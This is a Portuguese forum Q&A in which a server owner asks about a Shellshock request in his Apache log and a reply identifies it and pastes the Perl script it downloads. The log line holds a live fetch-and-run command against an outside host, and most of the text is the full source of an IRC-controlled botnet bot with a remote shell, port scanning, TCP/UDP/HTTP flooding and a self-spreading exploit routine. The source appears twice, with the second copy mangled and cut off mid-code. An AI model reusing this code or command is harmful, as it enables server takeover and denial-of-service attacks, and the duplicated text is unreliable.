Isso é um ataque ou algo para se preocupar? Trauma pós guerra?

23

Vi isso no access.log no meu servidor de teste:

> 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
> http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ;
> perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

Nenhum dos endereços está relacionado a mim ou ao nosso IP-range (ou qualquer outra coisa para esse assunto) Estava pensando imediatamente sobre o bug de segurança do Shellshock / "bashdoor".

Na verdade, parece que alguém tentou curl "alguma coisa" até o servidor, depois executou aquele "algo" e depois excluiu "algo" com -rf .

Este é um servidor de teste puro, nenhum dano é feito (= nenhum dano pode ser feito além da reinstalação) - mas o tempo é muito interessante. Não vi nada assim antes, tanto quanto me lembro.

Devo me preocupar, por exemplo, estar "interessado"? Alguém tem alguma idéia sobre o que é isso?

    
por davidkonrad 29.09.2014 / 16:26

3 respostas

16

Isso é alguém que está explorando o bug do Shellshock. Você pode determinar o que o script perl estava fazendo? Isso definitivamente vale a pena você cutucando. O segundo URL usado retorna um 404, mas o http://213.5.67.223/ji existe e pode ser a mesma coisa, visto que é um script perl. Parece ser um servidor de IRC de algum tipo, então conectar-se ao seu servidor de teste com um cliente de IRC pode ser interessante. EDIT: comentário me corrigiu, é um cliente, tão capaz de bisbilhotar em você.

Além disso, verifique se o script perl ainda está em execução.

#!/usr/bin/perl
# ------------------------------------------------------------- #
#           LinuxNet perlbot            #
# ------------------------------------------------------------- #

#system("kill -9 'ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}''");

my $processo = '-';


my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='7';
my $sleep='7';
my @adms=("x","JB" );
my @hostauth=("localhost","outlaw");
my @canais=("#gnu");
my $nick='|GNU|';
my $ircname ='GNU';
chop (my $realname = 'uname -sr');
$servidor='ircd.w3h.co.uk' unless $servidor;
my $porta='443';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."
#!/usr/bin/perl
# ------------------------------------------------------------- #
#           LinuxNet perlbot            #
# ------------------------------------------------------------- #

#system("kill -9 'ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}''");
#system("kill -9 'ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}''");

my $processo = '-';


my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='7';
my $sleep='7';
my @adms=("x","JB" );
my @hostauth=("localhost","outlaw");
my @canais=("#gnu");
my $nick='|GNU|';
my $ircname ='GNU';
chop (my $realname = 'uname -sr');
$servidor='ircd.w3h.co.uk' unless $servidor;
my $porta='443';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."%pre%"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^%pre%1VERSION%pre%1$/) {
         notice("$pn", "%pre%1VERSION mIRC v6.16 Khaled Mardam-Bey%pre%1");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         } 
       }
    }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[SCAN]%pre%2 Scanning ".$1." for open ports.");     
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[SCAN]%pre%2 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :%pre%2[SCAN]%pre%2 No open ports found"); 
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[TCP]%pre%2 Attacking ".$1.":".$2." for ".$3." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($3>$cur_time){
             $cur_time = time - $itime;
         &tcpflooder("$1","$2","$3");
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[TCP]%pre%2 Attack done ".$1.":".$2.".");
           }
       if ($funcarg =~ /^version/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[VERSION]%pre%2 perlb0t ver ".$VERSAO);           
        }
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[GOOGLE]%pre%2 Scanning for unpatched mambo for ".$1." seconds.");
         srand;
         my $itime = time;
         my ($cur_time);
         my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
        while($1>$cur_time){
            $cur_time = time - $itime;
            @urls=fetch();
            foreach $url (@urls) {
            $cur_time = time - $itime;
            my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;

            $url =$path."/$goni$boturl" ;




            $page = http_query($url);
            $exploited = $exploited + 1;
            }
        }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[GOOGLE]%pre%2 Exploited ".$exploited." boxes in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[HTTP]%pre%2 Attacking ".$1.":80 for ".$2." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($2>$cur_time){
             $cur_time = time - $itime;
         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
         close($socket);
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[HTTP]%pre%2 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[UDP]%pre%2 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[UDP]%pre%2 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   } 

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  } 
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp='$comando 2>&1 3>&1';
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :%pre%1$_[1]%pre%1");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(5)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
        "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
        "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
        "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
        "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
        "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
        "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
        "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",      
        "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
        "vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"allinurl:%22".$dom."/".$goni."%22");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";


    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
    if ($1 !~ m/google|cache|translate/){
        push (@lst,$1);
    }
    }
    return (@lst);
}


sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;

    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
    local $SIG{ALRM} = sub { die "1";};
    alarm 10;
    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
    my @r = <$sock>;
    $page="@r";
    alarm 0;
    close($sock);
    };    
    return $page;

}
"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^%pre%1VERSION%pre%1$/) { notice("$pn", "%pre%1VERSION mIRC v6.16 Khaled Mardam-Bey%pre%1"); } if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); my (@aberta, %porta_banner); sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[SCAN]%pre%2 Scanning ".$1." for open ports."); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } } if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[SCAN]%pre%2 Open port(s): @aberta"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :%pre%2[SCAN]%pre%2 No open ports found"); } } if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[TCP]%pre%2 Attacking ".$1.":".$2." for ".$3." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($3>$cur_time){ $cur_time = time - $itime; &tcpflooder("$1","$2","$3"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[TCP]%pre%2 Attack done ".$1.":".$2."."); } if ($funcarg =~ /^version/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[VERSION]%pre%2 perlb0t ver ".$VERSAO); } if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[GOOGLE]%pre%2 Scanning for unpatched mambo for ".$1." seconds."); srand; my $itime = time; my ($cur_time); my ($exploited); $boturl=$2; $cur_time = time - $itime;$exploited = 0; while($1>$cur_time){ $cur_time = time - $itime; @urls=fetch(); foreach $url (@urls) { $cur_time = time - $itime; my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/; $url =$path."/$goni$boturl" ; $page = http_query($url); $exploited = $exploited + 1; } } sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[GOOGLE]%pre%2 Exploited ".$exploited." boxes in ".$1." seconds."); } if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[HTTP]%pre%2 Attacking ".$1.":80 for ".$2." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[HTTP]%pre%2 Attacking done ".$1."."); } if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[UDP]%pre%2 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds."); my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($IRC_cur_socket, "PRIVMSG $printl :%pre%2[UDP]%pre%2 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1."."); } exit; } } } sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^refresh (.*)/) { my $goni = $titi[rand scalar @titi]; } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp='$comando 2>&1 3>&1'; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } $l=0; while ($l<1000){ $cur_time = time - 